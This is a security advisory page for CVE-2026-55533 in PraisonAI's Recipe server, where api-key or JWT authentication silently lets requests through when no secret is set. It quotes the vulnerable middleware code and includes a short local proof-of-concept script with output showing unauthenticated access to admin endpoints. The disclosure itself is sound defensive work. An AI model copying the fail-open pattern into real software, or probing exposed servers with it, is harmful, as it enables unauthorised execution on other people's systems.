CVE-2026-55533: PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
Summary The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing. This creates an authentication fail-open condition.
Published Aug 25, 2026
Affected packages
PraisonAI
- Ecosystem
- PyPI
- Affected
- < 4.6.58
- Fixed in
- 4.6.58
- Check
pip show PraisonAI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.
This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.
The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.
Details
The Recipe server documents the following authentication modes:
noneapi-keyjwt
Relevant source locations:
src/praisonai/praisonai/recipe/serve.pysrc/praisonai/praisonai/cli/features/recipe.py
In create_auth_middleware(), the API key middleware resolves the expected key as:
expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
if not expected_key:
# No key configured, allow request
return await call_next(request)This means auth: api-key does not enforce authentication if api_key / PRAISONAI_API_KEY is missing.
The JWT middleware has the same fail-open behavior:
secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
if not secret:
return await call_next(request)The auth middleware is still attached when auth is configured:
auth_type = config.get("auth")
if auth_type and auth_type != "none":
auth_middleware = create_auth_middleware(
auth_type,
api_key=config.get("api_key"),
jwt_secret=config.get("jwt_secret"),
)
if auth_middleware:
middleware.append(Middleware(auth_middleware))The CLI path makes this externally reachable in a misconfigured deployment. In cmd_serve, the non-localhost safety check only verifies that auth is not "none":
if host != "127.0.0.1" and host != "localhost" and auth == "none":
self._print_error("Auth required for non-localhost binding. Use --auth api-key or --auth jwt")
return self.EXIT_POLICY_DENIEDTherefore, this command passes the safety check:
praisonai recipe serve --host 0.0.0.0 --auth api-keyHowever, if no --api-key or PRAISONAI_API_KEY is configured, requests are still accepted without authentication.
Affected endpoints include:
POST /v1/recipes/runPOST /v1/recipes/streamPOST /v1/recipes/validate- optional
POST /admin/reloadwhenenable_adminis true
PoC
The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.
Run from the repository root with test dependencies installed:
python3 poc_recipe_auth_fail_open.pypoc_recipe_auth_fail_open.py:
import os
import sys
from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Ensure no secrets are present in the environment.
os.environ.pop("PRAISONAI_API_KEY", None)
os.environ.pop("PRAISONAI_JWT_SECRET", None)
from praisonai.recipe.serve import create_app
# api-key auth selected, but no key configured.
app_open = create_app({"auth": "api-key", "enable_admin": True})
client_open = TestClient(app_open)
print("api-key auth with missing key:")
print("GET /openapi.json:", client_open.get("/openapi.json").status_code)
print("POST /admin/reload:", client_open.post("/admin/reload").status_code)
# api-key auth selected with an actual key configured.
app_closed = create_app({
"auth": "api-key",
"api_key": "expected",
"enable_admin": True,
})
client_closed = TestClient(app_closed)
print("\napi-key auth with configured key:")
print("missing key:", client_closed.post("/admin/reload").status_code)
print("wrong key:", client_closed.post(
"/admin/reload",
headers={"X-API-Key": "wrong"},
).status_code)
print("correct key:", client_closed.post(
"/admin/reload",
headers={"X-API-Key": "expected"},
).status_code)
# jwt auth selected, but no JWT secret configured.
app_jwt_open = create_app({"auth": "jwt"})
client_jwt_open = TestClient(app_jwt_open)
print("\njwt auth with missing secret:")
print("GET /openapi.json:", client_jwt_open.get("/openapi.json").status_code)Observed output:
api-key auth with missing key:
GET /openapi.json: 200
POST /admin/reload: 200
api-key auth with configured key:
missing key: 401
wrong key: 401
correct key: 200
jwt auth with missing secret:
GET /openapi.json: 200The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.
Impact
In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.
This gives unauthenticated access to recipe execution endpoints such as:
POST /v1/recipes/runPOST /v1/recipes/stream
If admin endpoints are enabled, the attacker can also access:
POST /admin/reload
The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.
Credited to hoanggxyuuki, NguyenHuyTrung.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-61439
PraisonAI: Prompt Injection Defense Bypassed for HIGH-Level Threats
high7.5Oct 7, 2026CVE-2026-62176
PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation
critical9.1Oct 7, 2026CVE-2026-55522
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
high7.8Aug 25, 2026CVE-2026-55529
PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server
medium6.9Aug 25, 2026CVE-2026-55531
PraisonAI MCP HTTP server has unauthenticated unbounded session accumulation (memory exhaustion; session TTL never enforced)
medium6.5Aug 25, 2026CVE-2026-55532
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
high7.6Aug 25, 2026
